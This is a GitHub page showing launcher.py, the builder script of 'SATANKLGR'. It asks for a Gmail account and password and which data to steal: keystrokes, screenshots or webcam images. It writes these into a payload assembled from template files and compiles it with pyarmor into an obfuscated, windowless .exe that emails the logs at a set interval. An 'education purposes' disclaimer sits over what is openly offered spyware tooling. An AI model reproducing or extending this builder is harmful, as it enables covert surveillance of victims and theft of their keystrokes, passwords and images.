-
Notifications
You must be signed in to change notification settings - Fork 15
/
launcher.py
228 lines (208 loc) · 10.7 KB
/
launcher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
from colorama import Fore
import os
import shutil
os.system("color")
def options():
global send_screens, send_webcam, send_keystrokes, persistence, agreement, email1, password, interval
send_screens = input(Fore.YELLOW+"Send screenshots [y/n]: "+Fore.WHITE).lower()
send_webcam = input(Fore.YELLOW+"Send webcam [y/n]: "+Fore.WHITE).lower()
send_keystrokes = input(Fore.YELLOW+"Send keystrokes [y/n]: "+Fore.WHITE).lower()
email1 = input(Fore.YELLOW+"Enter your gmail"+Fore.LIGHTCYAN_EX+" (Do not use your basic gmail, only dedicated): "+Fore.WHITE)
password = input(Fore.YELLOW+"Enter your password for email: "+Fore.WHITE)
interval = int(input(Fore.YELLOW+"Enter the interval of sending logs(in seconds): "+Fore.WHITE))
def agree():
print(Fore.GREEN+"--------------------------------------------------------------")
global agreement
print(Fore.GREEN+"Email: ", Fore.WHITE+email1)
print(Fore.GREEN+"Password: ", Fore.WHITE+password)
print(Fore.GREEN+"Interval: ", Fore.WHITE+str(interval))
print(Fore.GREEN+"Keystrokes: ", Fore.WHITE+send_keystrokes)
print(Fore.GREEN+"Screenshots: ", Fore.WHITE+send_screens)
print(Fore.GREEN+"Webcam: ", Fore.WHITE+send_webcam)
print(Fore.GREEN+"--------------------------------------------------------------")
agreement = input(Fore.YELLOW+"The information above is correct? [y/n]: ").lower()
def pyw_exe():
try:
print(Fore.YELLOW+"[*] Creating and writing to .py file...")
print(Fore.GREEN+"[*] Done √")
try:
print(Fore.YELLOW+"[*] Compiling obfuscated .exe file...")
print(Fore.RESET+"")
os.system('pyarmor pack --clean -e "--onefile --windowed --icon=NONE" SATANKLGR.py')
print(Fore.GREEN+"[*] The file SATANKLGR.exe is successfully compiled and saved in dist folder √")
try:
print(Fore.YELLOW+"[*] Removing needless foulders...")
os.remove("SATANKLGR.py")
shutil.rmtree("build")
os.remove("SATANKLGR-patched.spec")
os.remove("SATANKLGR.spec")
print(Fore.GREEN+"[*] Foulders are successfully removed √...")
except:
print(Fore.RED+"[*] Impossible to remove foulders")
except:
print(Fore.RED+"[*] Impossible to compile and obfuscate .py file")
except:
print(Fore.RED+"[*] Impossible to compile .py file")
def exception():
print()
print(Fore.RED+"[*] Impossible to create and write to .py file")
def heading():
print(Fore.RED + f'''
░██████╗░█████╗░████████╗░█████╗░███╗░░██╗██╗░░██╗██╗░░░░░░██████╗░██████╗░ ''',Fore.WHITE + " [*] "+Fore.YELLOW+f"Written by FZGbzuw412",Fore.RED+f'''
██╔════╝██╔══██╗╚══██╔══╝██╔══██╗████╗░██║██║░██╔╝██║░░░░░██╔════╝░██╔══██╗
╚█████╗░███████║░░░██║░░░███████║██╔██╗██║█████═╝░██║░░░░░██║░░██╗░██████╔╝''',Fore.WHITE + " [*] "+Fore.YELLOW+f"Only Satana can help you...", Fore.RED+f'''
░╚═══██╗██╔══██║░░░██║░░░██╔══██║██║╚████║██╔═██╗░██║░░░░░██║░░╚██╗██╔══██╗
██████╔╝██║░░██║░░░██║░░░██║░░██║██║░╚███║██║░╚██╗███████╗╚██████╔╝██║░░██║''', Fore.WHITE + " [*] "+Fore.YELLOW+f"https://github.com/FZGbzuw412", Fore.RED+f'''
''',Fore.YELLOW + f'>> Do not forget to allow sending logs to your email >> https://www.google.com/settings/security/lesssecureapps')
heading()
print()
print(Fore.GREEN + f'''THIS SOFTWARE IS INTENDED ONLY FOR EDUCATION PURPOSES! DO NOT USE IT TO INFLICT
DAMAGE TO ANYONE! USING MY APPLICATION YOU ARE AUTHOMATICALLY AGREE WITH ALL RULES AND
TAKE RESPONSIBITITY FOR YOUR ACTION! THE VIOLATION OF LAWS CAN CAUSE SERIOUS CONSEQUENCES!
THE DEVELOPER FZGbzuw412 ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE
CAUSED BY THIS PROGRAM.''')
print()
def precaution():
global response
response = input(Fore.LIGHTWHITE_EX + f"""BEFORE USING SATANKLGR YOU MUST AGREE WITH POLICY
WRITE IN CAPITAL LETTERS 'I AGREE WITH RULES' (IF YOU WANT TO LEAVE THIS PAGE PRINT 'BYE'): """)
precaution()
while response !='I AGREE WITH RULES' and response !='BYE':
print(Fore.RED + "INCORRECT WRITING. TRY AGAIN")
precaution()
if response == 'I AGREE WITH RULES':
print("----------------------------------")
print("You agree with policy")
print("----------------------------------")
print(Fore.RESET + "Choose the options you want SATANKLGR to do\n")
options()
agree()
while agreement == 'n':
print("----------------------------------")
options()
agree()
else:
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
if send_keystrokes == 'n' and send_webcam == 'y' and send_screens == 'y':
try:
with open("Scripts\\webcam+screenshots.txt") as f:
data = f.read()
f.close
with open("SATANKLGR.py", 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
elif send_keystrokes == 'y' and send_webcam == 'n' and send_screens == 'n':
print()
try:
with open("Scripts\\keystrokes.txt") as f:
data = f.read()
f.close
with open ('SATANKLGR.py', 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
elif send_keystrokes == 'y' and send_webcam == 'y' and send_screens == 'n':
print()
try:
with open("Scripts\\keystrokes+webcam.txt") as f:
data = f.read()
f.close
with open ('SATANKLGR.py', 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
elif send_keystrokes == 'y' and send_webcam == 'y' and send_screens == 'y':
try:
with open("Scripts\\all.txt") as f:
data = f.read()
f.close
with open("SATANKLGR.py", 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
elif send_keystrokes == 'n' and send_webcam == 'n' and send_screens == 'y':
try:
with open("Scripts\\screenshots.txt") as f:
data = f.read()
f.close
with open("SATANKLGR.py", 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
elif send_keystrokes == 'y' and send_webcam == 'n' and send_screens == 'y':
try:
with open("Scripts\\keystrokes.txt") as f:
data = f.read()
f.close
with open ("SATANKLGR.py", 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
elif send_keystrokes == 'n' and send_webcam == 'y' and send_screens == 'n':
try:
with open("Scripts\\webcam.txt") as f:
data = f.read()
f.close
with open("SATANKLGR.py", 'w') as f:
f.write(f'''
Sender_Email = '''+f'"{email1}"'+f'''
Reciever_Email = Sender_Email
Password = '''+f'"{password}"'+f'''
interval = '''+str(interval)+f'''
{data}
'''), f.close()
except:
exception()
pyw_exe()
#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
else:
print("The compiling of exe file is impossible")